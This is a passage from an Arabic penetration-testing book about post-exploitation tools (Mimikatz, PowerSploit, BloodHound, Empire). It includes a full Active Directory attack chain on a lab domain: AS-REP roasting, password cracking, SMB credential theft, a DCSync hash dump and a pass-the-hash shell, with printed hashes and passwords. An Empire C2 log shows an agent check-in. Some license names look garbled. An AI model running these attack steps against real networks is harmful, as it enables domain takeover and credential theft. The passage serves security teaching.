لكن حتى أقوى هجوم على تطبيق ويب لا يمثل سوى الخطوة الأولى. فالنجاح في تنفيذ Remote Code Execution، أو الحصول على جلسة وصول، أو اختراق حساب إداري، لا يعني نهاية الرحلة، بل بدايتها. من هنا تبدأ

المرحلة الأخطر، وهي ما بعد الاستغلال Post-Exploitation. في الفصل القادم سننتقل من عالم كسر الأبواب الأمامية لتطبيقات الويب إلى عالم الهيمنة على الأنظمة من الداخل. سنرى كيف يتم تثبيت الاستمرارية Persistence، وكيف يتم التحرك العرضي عبر الشبكة Lateral Movement، وكيف يتم تصعيد الامتيازات Privilege Escalation، وكيف تتحول السيطرة التقنية إلى تأثير عملياتي حقيقي. هنا يبدأ الفن الحقيقي للهجوم الصامت والذكي، وهنا يبدأ التحدي الأكثر عمقاً.

٥ ما بعد الاستغلال

إذا كان الوصول الأولي هو مجرد كسر بوابة القلعة، فإن ما بعد الاستغلال هو فن السيطرة على العرش نفسه. هنا تبدأ اللعبة الحقيقية، حيث كل حركة محسوبة وكل خطوة تهدف إلى تعزيز السيطرة وتوسيع النفوذ دون إثارة أي جرس إنذار. هذا هو المجال الذي يميز المهاجم المبتدئ الذي يحدث ضجيجاً عن الخصم المتقدم APT الذي يعمل بصبر ودهاء. إنها ليست مرحلة، بل هي حملة متكاملة تقوم على أركان أساسية: إرساء الثبات Persistence، والتحرك العرضي عبر الشبكة Lateral Movement، وتصعيد الامتيازات Privilege Escalation، وتحقيق الأهداف النهائية Actions on Objectives.

مثلا الهجوم على سلسلة التوريد Supply Chain Attack الذي استهدف شركة SolarWinds في عام 2020، والذي عرف باسم Sunburst لم يكن الهجوم مجرد اختراق، بل كان فناً في الصبر والتخفي. لم يهاجم الخصوم أهدافهم النهائية مباشرة، بل قاموا باختراق بيئة التطوير الخاصة بشركة SolarWinds وزرعوا باباً خلفياً خبيثاً Backdoor في أحد تحديثات برنامجها الشهير لإدارة الشبكات Orion. هذا التحديث الموقع رقمياً والموثوق به Digitally Signed تم توزيعه على ما يقارب 18,000 عميل حول العالم. لم يقم المهاجمون بتفعيل الباب الخلفي لدى كل الضحايا، بل عملوا بهدوء وصبر، وقاموا بتفعيل الاتصال فقط مع مجموعة صغيرة جداً من الأهداف ذات القيمة الاستراتيجية العالية، بما في ذلك وزارات حكومية أمريكية وشركات تقنية كبرى مثل مايكروسوفت. بمجرد الدخول، أمضى المهاجمون أشهراً طويلة داخل شبكات ضحاياهم، يتحركون ببطء، ويجمعون بيانات الاعتماد، ويسرقون تذاكر المصادقة، وينشئون حسابات موثوقة جديدة للبقاء. لم يكن هدفهم تشفير الملفات، بل كان التجسس طويل الأمد وجمع المعلومات الاستخباراتية.

هل تعلم؟ أن المهاجمين في هجوم SolarWinds استخدموا تقنية تعرف باسم Golden SAML لإنشاء بيانات مصادقة مزيفة تمنحهم وصولاً دائماً إلى الخدمات السحابية للضحايا، مثل Office 365، حتى بعد تغيير كلمات المرور. هذا يوضح أن ما بعد الاستغلال الحديث لم يعد يقتصر على الشبكة الداخلية فقط.

هنا نتعلم أن الوصول الأولي هو مجرد 1% من الهجوم، أما الـ 99% الأخرى فهي فن ما بعد الاستغلال. الأدوات في هذا الفصل هي التي تمكننا من محاكاة وفهم هذا الفن. سنتعلم كيف أن أداة مثل Mimikatz ليست مجرد أداة لسرقة الهاشات، بل هي أداة لاستغلال آليات الثقة في Kerberos. وكيف أن BloodHound لا يرسم مجرد خريطة، بل يكشف عن الطرق الأفضل لتصعيد الامتيازات التي لا تراها العين المجردة. وكيف أن أطر عمل القيادة والتحكم C2 مثل Cobalt Strike تسمح بمحاكاة هذا المهاجم الصبور والمتخفي.

١.٥ Mimikatz

سبق أن تناولنا هذه الأداة في فصل سابق، ولكن نظراً لأهميتها البالغة في سياق أمن أنظمة Windows واختبار اختراق البنية التحتية، نستعرضها هنا مجدداً بشكل مختصر. عند الحديث عن أمن أنظمة Windows، لا يمكن تجاوز الاسم الأبرز والأكثر تأثيرًا في العقد الأخير Mimikatz. هذه الأداة التي طورها الباحث الفرنسي Benjamin Delpy ليست مجرد برنامج لاستخراج كلمات المرور، بل هي الأداة التي كشفت عن جوهر آلية عمل منظومة المصادقة في Windows وغيرت مفاهيم الدفاع بشكل جذري. تعمل الأداة عن طريق التفاعل المباشر مع عملية LSASS.exe (Local Security

Authority Subsystem Service) المسؤولة عن إدارة المصادقة في Windows، لاستخراج ما هو مخزّن في الذاكرة، بدءاً من كلمات المرور بصيغة نصية واضحة (cleartext) في سيناريوهات وتكوينات محددة فقط، وصولاً إلى هاشات NTLM وتذاكر Kerberos (TGT/TGS)، مع ملاحظة أن تنفيذها يتطلب عادة صلاحيات عالية مثل Administrator / SYSTEM.

لكن الخطورة الحقيقية والقيمة التقنية لـ Mimikatz تكمن في تمكينها لهجمات ما بعد الاستغلال (Post-Exploitation) المتقدمة. فهي الأداة التي جعلت هجمات مثل Pass-the-Hash (PtH) و Pass-the-Ticket (PtT) و Overpass-the-Hash في متناول الجميع، وصولاً إلى الهجمات الأخطر مثل Golden Ticket التي تتطلب امتلاك هاش حساب KRBTGT وتمنح المهاجم قدرة شبه دائمة على السيطرة على النطاق، وكذلك Silver Ticket التي تعتمد على هاش حساب خدمة محددة وتمنح صلاحيات على مستوى خدمة معينة داخل النطاق. لهذا السبب، تُعد Mimikatz المعيار الذي تُقاس عليه فعالية أنظمة الحماية الطرفية الحديثة (EDR) وقدرة المؤسسات على اكتشاف التلاعب بالذاكرة والتعامل مع هجمات المصادقة المتقدمة.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Windows
التكلفة	مجاني بالكامل
نوع الترخيص	CC BY 0.4 License

خصائص أداة Mimikatz

تحميل: https://github.com/gentilkiwi/mimikatz

٢.٥ PowerSploit

المشروع الذي يُعتبر الأب الروحي لهجمات PowerShell الهجومية والمحرك الأساسي لما يُعرف باستراتيجية العيش من خيرات الأرض أو Living off the Land. تُمثل PowerSploit (التي طورتها مجموعة PowerShellMafia) مكتبة معيارية ضخمة مكنت مختبري الاختراق لأول مرة من تنفيذ عمليات معقدة للغاية دون الحاجة لإنزال ملفات تنفيذية (.exe) مشبوهة على القرص الصلب، مما يجعل اكتشافها من قبل مضادات الفيروسات التقليدية أمراً صعباً للغاية.

تعتمد فلسفة الأداة على التنفيذ في الذاكرة (In-Memory Execution) باستخدام PowerShell المدمج أصلاً في Windows، وتنقسم وحداتها إلى فئات تكتيكية تخدم جميع مراحل الهجوم. أبرز هذه الوحدات هي PowerView

التي تعتبر الأداة الأقوى لاستطلاع وتعداد شبكات Active Directory ومعرفة العلاقات بين المستخدمين والمجموعات والحواسيب (AD Enumeration)، ووحدة PowerUp المتخصصة في فحص النظام بحثاً عن أخطاء التكوين والثغرات التي تسمح بتصعيد الصلاحيات (Privilege Escalation) محلياً. بالإضافة إلى وحدات أخرى مثل Invoke-Mimikatz لاستخراج بيانات الاعتماد، وCodeExecution لحقن وتنفيذ الرموز البرمجية، وPersistence لضمان الاستمرارية في النظام، وScriptModification لتجاوز الحماية ومكافحة الفيروسات. على الرغم من أن المشروع قد تمت أرشفته في عام 2018 ولم يعد يتلقى تحديثات، إلا أنه لا يزال المرجع الأساسي والمكتبة التعليمية التي بُنيت عليها معظم أطر العمل الحديثة مثل Empire و Covenant.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Windows (PowerShell)
التكلفة	مجاني بالكامل
نوع الترخيص	BSD 3-Clause License

خصائص أداة PowerSploit

تحميل: https://github.com/PowerShellMafia/PowerSploit

٣.٥ BloodHound

نصل الآن إلى BloodHound، الأداة التي أحدثت ثورة مفاهيمية حقيقية في أمان بيئات Active Directory والبيئات السحابية. هذه الأداة التي طورها Andy Robbins وRohan Vazarkar وWill Schroeder لم تأتِ فقط كأداة فحص جديدة، بل غيّرت الطريقة التي ننظر بها إلى أمان النطاقات بشكل جذري.

تعتمد BloodHound على مبدأ رياضي متقدم هو نظرية المخططات أو Graph Theory لكشف ما تعجز القوائم التقليدية والأدوات الكلاسيكية عن رؤيته وهي العلاقات الخفية والصلاحيات المتداخلة. بينما يرى مسؤولو الأنظمة قوائم جامدة من المستخدمين والمجموعات والحواسيب، يرى BloodHound شبكة مترابطة ومعقدة للغاية من الصلاحيات الموروثة والعلاقات الانتقالية (Transitive Relationships) التي تشكّل مسارات هجوم غير مرئية.

تبدأ عملية التحليل باستخدام جامع البيانات SharpHound (للبيئات المحلية On-Premises) أو AzureHound (لبيئات Azure AD) أو BOFHound للعمليات الأكثر تخفياً. يقوم هذا الجامع بفحص الشبكة بشكل سلبي وآمن عبر استعلامات LDAP واستدعاءات API الشرعية لاستخراج ملايين العلاقات والصلاحيات الدقيقة من البيئة. يتم تصدير

هذه البيانات بصيغة JSON ثم تغذيتها إلى قاعدة بيانات المخططات Neo4j، التي تحوّل هذه البيانات الضخمة إلى نموذج مرئي تفاعلي. الواجهة الرسومية لـ BloodHound (المبنية على Electron) تتيح للمحللين التنقل بسهولة داخل هذه الشبكة المعقدة واستكشاف العلاقات بصرياً.

القوة الحقيقية لـ BloodHound تكمن في قدرتها على الكشف الفوري عن مسارات الهجوم أو Attack Paths التي كان من المستحيل اكتشافها يدوياً. تشمل أبرز إمكانياتها:

- **اكتشاف المسارات الأقصر:** بضغطة زر واحدة، يمكن للأداة حساب ورسم أقصر طريق (Shortest Path) ينتقل فيه المهاجم من حساب موظف عادي أو مخترق وصولاً إلى صلاحيات Domain Admin أو Enterprise Admin عبر سلسلة معقدة من الصلاحيات.
- **تحديد الأهداف عالية القيمة:** تقوم الأداة تلقائياً بوضع علامات على الحسابات والمجموعات الحرجة مثل Domain Admins وEnterprise Admins وSchema Admins، وتكشف عن جميع الطرق المؤدية إليها.
- **كشف الصلاحيات الخطرة:** تحلل الأداة صلاحيات ACL المعقدة مثل GenericAll وWriteDacl وWriteOwner وForceChangePassword وAddMember، وتُظهر كيف يمكن استغلالها للتصعيد.
- **تحليل الجلسات النشطة:** تكشف عن الجلسات النشطة (Active Sessions) للمستخدمين المميزين على الحواسيب، مما يساعد في تحديد فرص سرقة التذاكر أو التجزئات (Credential Theft).
- **كشف العلاقات الانتقالية:** تُظهر كيف يمكن للمهاجم الانتقال من كائن إلى آخر عبر سلاسل معقدة من العضويات والصلاحيات الموروثة التي قد تمتد عبر عشرات الكائنات.

لا تقتصر قيمة BloodHound على فرق الاختراق والفريق الأحمر فقط، بل أصبحت أداة دفاعية لا غنى عنها لفرق الفريق الأزرق (Blue Team) ومسؤولي Active Directory. فهي تكشف عن نقاط الضعف البنيوية في تصميم النطاق، وتساعد على تحديد أولويات المعالجة بناءً على خطورة المسارات. كما أنها توفر استعلامات مُعدّة مسبقاً (Pre-built Queries) مثل إيجاد جميع المستخدمين الذين يمكنهم الوصول إلى Admin Domain أو إيجاد الحواسيب التي تحتوي جلسات نشطة لمسؤولي النطاق. مع تطور الأداة، أصبحت تدعم بيئات Azure AD والبيئات الهجينة، مما جعلها المعيار الصناعي لتحليل أمان هوية المؤسسات في عصر السحابة.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني / مدفوع (Enterprise)
نوع الترخيص	Apache License 0.2

مثال عملي: تنفيذ سلسلة هجوم كاملة على بيئة Active Directory بدءاً من التعداد وحتى السيطرة الكاملة:

```
bloodhound-python -u 'svc-admin' -p 'management2005' -d 'spookysec.local'
-c All
impacket-GetNPUsers spookysec.local/svc-admin -no-pass
john hash.txt --wordlist=rockyou.txt
smbclient //10.49.182.231/backup -U svc-admin
impacket-secretsdump spookysec.local/backup:'backup2517860'@10.49.182.231
evil-winrm -i 10.49.182.231 -u Administrator -H 0e03...
```

شرح المثال: يوضح هذا المثال سيناريو اختراق متكامل.

١. بدأنا بجمع البيانات باستخدام BloodHound واكتشاف حساب svc-admin المصاب بضعف في إعدادات المصادقة (AS-REP Roasting).

٢. قمنا بطلب تذكرة الحساب وكسر تشفيرها باستخدام John للحصول على كلمة المرور.

٣. استخدمنا البيانات للدخول إلى مشاركة SMB وسرقة ملف يحتوي على بيانات حساب backup بصيغة Base64.

٤. باستخدام حساب النسخ الاحتياطي (الذي يملك صلاحيات عالية)، نفذنا هجوم DCSync لاستخراج جميع كلمات مرور النطاق.

٥. أخيراً، استخدمنا هاش المسؤول (Administrator) للدخول والسيطرة على الخادم.

المخرجات:

```
  (yaser CyberBookio)-[~/bloodhound]
 $ bloodhound-python -u 'svc-admin' -p 'management2005' \
  -d 'spookysec.local' \
  -dc attacktivedirectory.spookysec.local \
  -ns 10.49.182.231 \
  -c All
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: spookysec.local
```

```
INFO: Getting TGT for user
INFO: Connecting to LDAP server: attacktivedirectory.spookysec.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: attacktivedirectory.spookysec.local
INFO: Found 18 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: AttacktiveDirectory.spookysec.local
INFO: Done in 00M 11S

  (yaser CyberBookio)-[~/bloodhound]
 $ cat *users.json | jq -r '.data[].Properties | select(.dontreqpreauth == true) | .n
SVC-ADMIN@SPOOKYSEC.LOCAL

  (yaser CyberBookio)-[~/bloodhound]
 $ impacket-GetNPUsers spookysec.local/svc-admin -no-pass -dc-ip 10.49.182.231
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for svc-admin
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:4631e33f3634780e32d0e0d87e3d5ee8$70d9cc044c39

  (yaser CyberBookio)-[~/bloodhound]
 $ nano hash.txt

  (yaser CyberBookio)-[~/bloodhound]
 $ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

```
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
management2005   ($krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL)
1g 0:00:00:05 DONE (2025-12-03 05:17) 0.1949g/s 1138Kp/s 1138Kc/s 1138KC/s mandivacio
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

  (yaser CyberBookio)-[~/bloodhound]
 $ smbclient -L //10.49.182.231/ -U svc-admin

Password for [WORKGROUP\svc-admin]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backup          Disk
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.49.182.231 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOU
Unable to connect with SMB1 -- no workgroup available

  (yaser CyberBookio)-[~/bloodhound]
 $ smbclient //10.49.182.231/backup -U svc-admin
Password for [WORKGROUP\svc-admin]:
Try "help" to get a list of possible commands.
smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.3 KiloBy
```

```
smb: \> exit

  (yaser CyberBookio)-[~/bloodhound]
 $ cat backup_credentials.txt
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
  (yaser CyberBookio)-[~/bloodhound]
 $ cat backup_credentials.txt | base64 -d
backup@spookysec.local:backup2517860
  (yaser CyberBookio)-[~/bloodhound]
 $ impacket-secretsdump spookysec.local/backup:'backup2517860'@10.49.182.231
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e1
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc4
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c66507
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e996541
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a874543
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa1
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f691
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9
spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b942214972
```

```
ATTACKTIVEDIREC$:1000:aad3b435b51404eeaad3b435b51404ee:56ddacd67c41dede10f5d8bc2ba982
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c
Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae
Administrator:des-cbc-md5:2079ce0e5df189ad
krbtgt:aes256-cts-hmac-sha1-96:b52e11789ed6709423fd7276148cfed7dea6f189f3234ed0732725
krbtgt:aes128-cts-hmac-sha1-96:e7301235ae62dd8884d9b890f38e3902
krbtgt:des-cbc-md5:b94f97e97fabbf5d
spookysec.local\skidy:aes256-cts-hmac-sha1-96:3ad697673edca12a01d5237f0bee628460f1e1c
spookysec.local\skidy:aes128-cts-hmac-sha1-96:484d875e30a678b56856b0fef09e1233
spookysec.local\skidy:des-cbc-md5:b092a73e3d256b1f
spookysec.local\breakerofthings:aes256-cts-hmac-sha1-96:4c8a03aa7b52505aeef79cecd3cfd
spookysec.local\breakerofthings:aes128-cts-hmac-sha1-96:38a1f7262634601d2df08b3a004da
spookysec.local\breakerofthings:des-cbc-md5:7a976bbfab86b064
spookysec.local\james:aes256-cts-hmac-sha1-96:1bb2c7fdbecc9d33f303050d77b6bff0e74d018
spookysec.local\james:aes128-cts-hmac-sha1-96:08fea47e79d2b085dae0e95f86c763e6
spookysec.local\james:des-cbc-md5:dc971f4a91dce5e9
spookysec.local\optional:aes256-cts-hmac-sha1-96:fe0553c1f1fc93f90630b6e27e188522b084
spookysec.local\optional:aes128-cts-hmac-sha1-96:02f4a47a426ba0dc8867b74e90c8d510
spookysec.local\optional:des-cbc-md5:8c6e2a8a615bd054
spookysec.local\sherlocksec:aes256-cts-hmac-sha1-96:80df417629b0ad286b94cadad65a5589c
spookysec.local\sherlocksec:aes128-cts-hmac-sha1-96:c3db61690554a077946ecdabc7b4be0e
spookysec.local\sherlocksec:des-cbc-md5:08dca4cbbc3bb594
spookysec.local\darkstar:aes256-cts-hmac-sha1-96:35c78605606a6d63a40ea4779f15dbbf6d40
spookysec.local\darkstar:aes128-cts-hmac-sha1-96:461b7d2356eee84b211767941dc893be
spookysec.local\darkstar:des-cbc-md5:758af4d061381cea
spookysec.local\Ori:aes256-cts-hmac-sha1-96:5534c1b0f98d82219ee4c1cc63cfd73a9416f5f6a
spookysec.local\Ori:aes128-cts-hmac-sha1-96:5ee50856b24d48fddfc9da965737a25e
spookysec.local\Ori:des-cbc-md5:1c8f79864654cd4a
spookysec.local\robin:aes256-cts-hmac-sha1-96:8776bd64fcfcf3800df2f958d144ef72473bd89
spookysec.local\robin:aes128-cts-hmac-sha1-96:733bf907e518d2334437eacb9e4033c8
spookysec.local\robin:des-cbc-md5:89a7c2fe7a5b9d64
```

```
spookysec.local\paradox:aes256-cts-hmac-sha1-96:64ff474f12aae00c596c1dce0cfc9584358d1
spookysec.local\paradox:aes128-cts-hmac-sha1-96:f09a5214e38285327bb9a7fed1db56b8
spookysec.local\paradox:des-cbc-md5:83988983f8b34019
spookysec.local\Muirland:aes256-cts-hmac-sha1-96:81db9a8a29221c5be13333559a554389e16a
spookysec.local\Muirland:aes128-cts-hmac-sha1-96:2846fc7ba29b36ff6401781bc90e1aaa
spookysec.local\Muirland:des-cbc-md5:cb8a4a3431648c86
spookysec.local\horshark:aes256-cts-hmac-sha1-96:891e3ae9c420659cafb5a6237120b50f2648
spookysec.local\horshark:aes128-cts-hmac-sha1-96:c6f6248b932ffd75103677a15873837c
spookysec.local\horshark:des-cbc-md5:a823497a7f4c0157
spookysec.local\svc-admin:aes256-cts-hmac-sha1-96:effa9b7dd43e1e58db9ac68a4397822b5e6
spookysec.local\svc-admin:aes128-cts-hmac-sha1-96:aed45e45fda7e02e0b9b0ae87030b3ff
spookysec.local\svc-admin:des-cbc-md5:2c4543ef4646ea0d
spookysec.local\backup:aes256-cts-hmac-sha1-96:23566872a9951102d116224ea4ac8943483bf0
spookysec.local\backup:aes128-cts-hmac-sha1-96:843ddb2aec9b7c1c5c0bf971c836d197
spookysec.local\backup:des-cbc-md5:d601e9469b2f6d89
spookysec.local\a-spooks:aes256-cts-hmac-sha1-96:cfd00f7ebd5ec38a5921a408834886f40a1f
spookysec.local\a-spooks:aes128-cts-hmac-sha1-96:31d65c2f73fb142ddc60e0f3843e2f68
spookysec.local\a-spooks:des-cbc-md5:e09e4683ef4a4ce9
ATTACKTIVEDIREC$:aes256-cts-hmac-sha1-96:fcacfb5d5c92db042a668c3af01c26f46ddfabcbf687
ATTACKTIVEDIREC$:aes128-cts-hmac-sha1-96:8a6e35fba09e5d45dd510c16111979dc
ATTACKTIVEDIREC$:des-cbc-md5:7a2334d062e35104
[*] Cleaning up...

  (yaser CyberBookio)-[~/bloodhound]
 $ evil-winrm -i 10.49.182.231 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/e
```

```
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
thm-ad\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> exit

Info: Exiting with code 0

  (yaser CyberBookio)-[~/bloodhound]
 $
```

تحميل: https://github.com/BloodHoundAD/BloodHound

٤.٥ Empire

نستعرض الآن إطار العمل Empire الذي يعتبر أحد عمالقة البرمجيات مفتوحة المصدر في مجال القيادة والتحكم (C2) وما بعد الاستغلال. على الرغم من توقف تطويره من قبل مطوريه الأصليين في عام 2019، إلا أن فريق BC Security قام بتبنيه وإحيائه تحت اسم Empire 0.4 ليصبح منصة قوية تنافس الأدوات التجارية. نقطة قوة Empire المركزية هي اعتماده الكامل على العيش من خيرات الأرض (Living off the Land)، حيث يستخدم وكلاء (Agents) مكتوبين بلغة PowerShell خالصة لأنظمة Windows، ووكلاء Python 3 لأنظمة Linux و macOS.

هذا التصميم يعني أن الوكلاء يعملون بالكامل في الذاكرة (In-Memory) دون لمس القرص الصلب، مما يجعل اكتشافهم صعباً للغاية. يوفر الإطار بنية تحتية مرنة جداً للاتصالات (Listeners)، حيث يدعم بروتوكولات متعددة مثل HTTP/HTTPS وOneDrive وDropbox. كما يدعم ملفات التعريف القابلة للتطويع (Malleable C2 Profiles) التي تسمح بتغيير شكل حركة المرور الشبكية لتبدو شرعية وتتجاوز أنظمة المراقبة والحماية. وما يجعله خياراً مفضلاً حالياً هو واجهة Starkiller الرسومية الحديثة، التي تتيح إدارة العمليات المعقدة، والتحرك الجانبي، وسرقة البيانات من خلال لوحة تحكم مركزية وأنيقة، مما يوفر تجربة مستخدم قريبة جداً من الأدوات المدفوعة مثل Cobalt Strike ولكن بتكلفة مجانية.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني بالكامل
نوع الترخيص	BSD 3-Clause License

مثال عملي: إعداد خادم القيادة والتحكم (C2) واستقبال اتصال عكسي باستخدام PowerShell Empire:

```
sudo powershell-empire server
```

شرح المثال: في هذا السيناريو، نقوم بتشغيل خادم Empire الحديث (الإصدار 5+). السجل الكامل أدناه يوضح دورة حياة الهجوم:

١. **التهيئة:** تحميل القوالب والوحدات، وتشغيل واجهة Starkiller الرسومية على المنفذ 1337.

٢. **إرسال الطُعم (Stager):** الخادم يرسل المرحلة الأولى (Stage 1) من برمجية PowerShell إلى الهدف (IP: 213.156.49.10).

٣. **استلام الاتصال (Check-in):** العميل (الضحية) يقوم بفك تشفير المرحلة الثانية، ويرسل مفتاح التشفير العام (RSA Key) لتأمين القناة، ثم يتم تسجيله كعميل نشط (Active Agent) باسم UM5TYRFP.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ sudo powershell-empire server
[INFO]: Submodules auto update enabled. Loading.
[INFO]: No .git directory found. Skipping submodule fetch.
[INFO]: Checking submodules...
[INFO]: No .git directory found. Skipping submodule check.
[INFO]: Using mysql database.
[INFO]: Empire starting up...
[INFO]: v2: Loading listener templates from: /usr/share/powershell-empire/empire/serv
[INFO]: v2: Loading stager templates from: /usr/share/powershell-empire/empire/server
[INFO]: v2: Loading bypasses from: /usr/share/powershell-empire/empire/server/bypasse
[INFO]: v2: Loading malleable profiles from: /usr/share/powershell-empire/empire/serv
[INFO]: v2: Loading modules from: /usr/share/powershell-empire/empire/server/modules
[INFO]: Searching for plugins at /usr/share/powershell-empire/empire/server/plugins
[INFO]: Initializing plugin: Basic Reporting
 * Serving Flask app 'http'
```

```
 * Debug mode: off
[INFO]: Listener "http" successfully started
[INFO]: Starkiller enabled. Loading.
[INFO]: Starkiller served at the same ip and port as Empire Server
[INFO]: Starkiller served at http://localhost:1337/
[INFO]: Started server process [328410]
[INFO]: Waiting for application startup.
[INFO]: Application startup complete.
[INFO]: Uvicorn running on http://0.0.0.0:1337 (Press CTRL+C to quit)
[INFO]: 127.0.0.1:51500 - "GET /socket.io/?EIO=4&transport=polling&t=iz0v1rnl HTTP/1.
[INFO]: empireadmin connected to socketio
[INFO]: 127.0.0.1:51500 - "POST /socket.io/?EIO=4&transport=polling&t=iz0v8vlx&sid=35
[INFO]: ('127.0.0.1', 51502) - "WebSocket /socket.io/?EIO=4&transport=websocket&sid=3
[INFO]: 127.0.0.1:51510 - "GET /socket.io/?EIO=4&transport=polling&t=iz0v9xbp&sid=35f
[INFO]: connection open
[INFO]: 127.0.0.1:51500 - "GET /socket.io/?EIO=4&transport=polling&t=iz0vnebe&sid=35f
[INFO]: http: Sending POWERSHELL stager (stage 1) to 10.49.156.213
[INFO]: Agent UM5TYRFP from 10.49.156.213 posted public key
[INFO]: Agent UM5TYRFP from 10.49.156.213 posted valid PowerShell RSA key
[INFO]: New agent UM5TYRFP checked in
[INFO]: Initial agent UM5TYRFP from 10.49.156.213 now active
[INFO]: http: Sending agent (stage 2) to UM5TYRFP at 10.49.156.213
[INFO]: 127.0.0.1:50886 - "GET /assets/download-stager-ae353708.js HTTP/1.1" 200
[INFO]: 127.0.0.1:50880 - "GET /assets/Stagers-d7273358.js HTTP/1.1" 200
[INFO]: 127.0.0.1:50880 - "GET /api/v2/stagers HTTP/1.1" 200
[INFO]: 127.0.0.1:35662 - "GET /api/v2/listeners HTTP/1.1" 200
[INFO]: 127.0.0.1:35664 - "GET /api/v2/listeners HTTP/1.1" 200
[INFO]: 127.0.0.1:35666 - "GET /api/v2/tags?page=1&limit=-1&sources=listener&order_by
[INFO]: 127.0.0.1:35678 - "GET /api/v2/listeners HTTP/1.1" 200
[INFO]: 127.0.0.1:35662 - "GET /api/v2/listeners HTTP/1.1" 200
[INFO]: 127.0.0.1:35664 - "GET /api/v2/listeners HTTP/1.1" 200
[INFO]: 127.0.0.1:35678 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
```

```
[INFO]: 127.0.0.1:35692 - "GET /api/v2/credentials HTTP/1.1" 200
[INFO]: 127.0.0.1:35662 - "GET /api/v2/bypasses HTTP/1.1" 200
[INFO]: 127.0.0.1:35664 - "GET /api/v2/listener-templates HTTP/1.1" 200
[INFO]: 127.0.0.1:35666 - "GET /api/v2/malleable-profiles HTTP/1.1" 200
[INFO]: 127.0.0.1:35704 - "GET /api/v2/listeners/1 HTTP/1.1" 200
[INFO]: 127.0.0.1:35692 - "GET /api/v2/listener-templates/http HTTP/1.1" 200
[INFO]: 127.0.0.1:35692 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:35678 - "GET /api/v2/credentials HTTP/1.1" 200
[INFO]: 127.0.0.1:35662 - "GET /api/v2/malleable-profiles HTTP/1.1" 200
[INFO]: 127.0.0.1:35664 - "GET /api/v2/bypasses HTTP/1.1" 200
[INFO]: 127.0.0.1:35666 - "GET /api/v2/listeners HTTP/1.1" 200
[INFO]: 127.0.0.1:43522 - "GET /assets/AgentsList-b14b6f00.css HTTP/1.1" 200
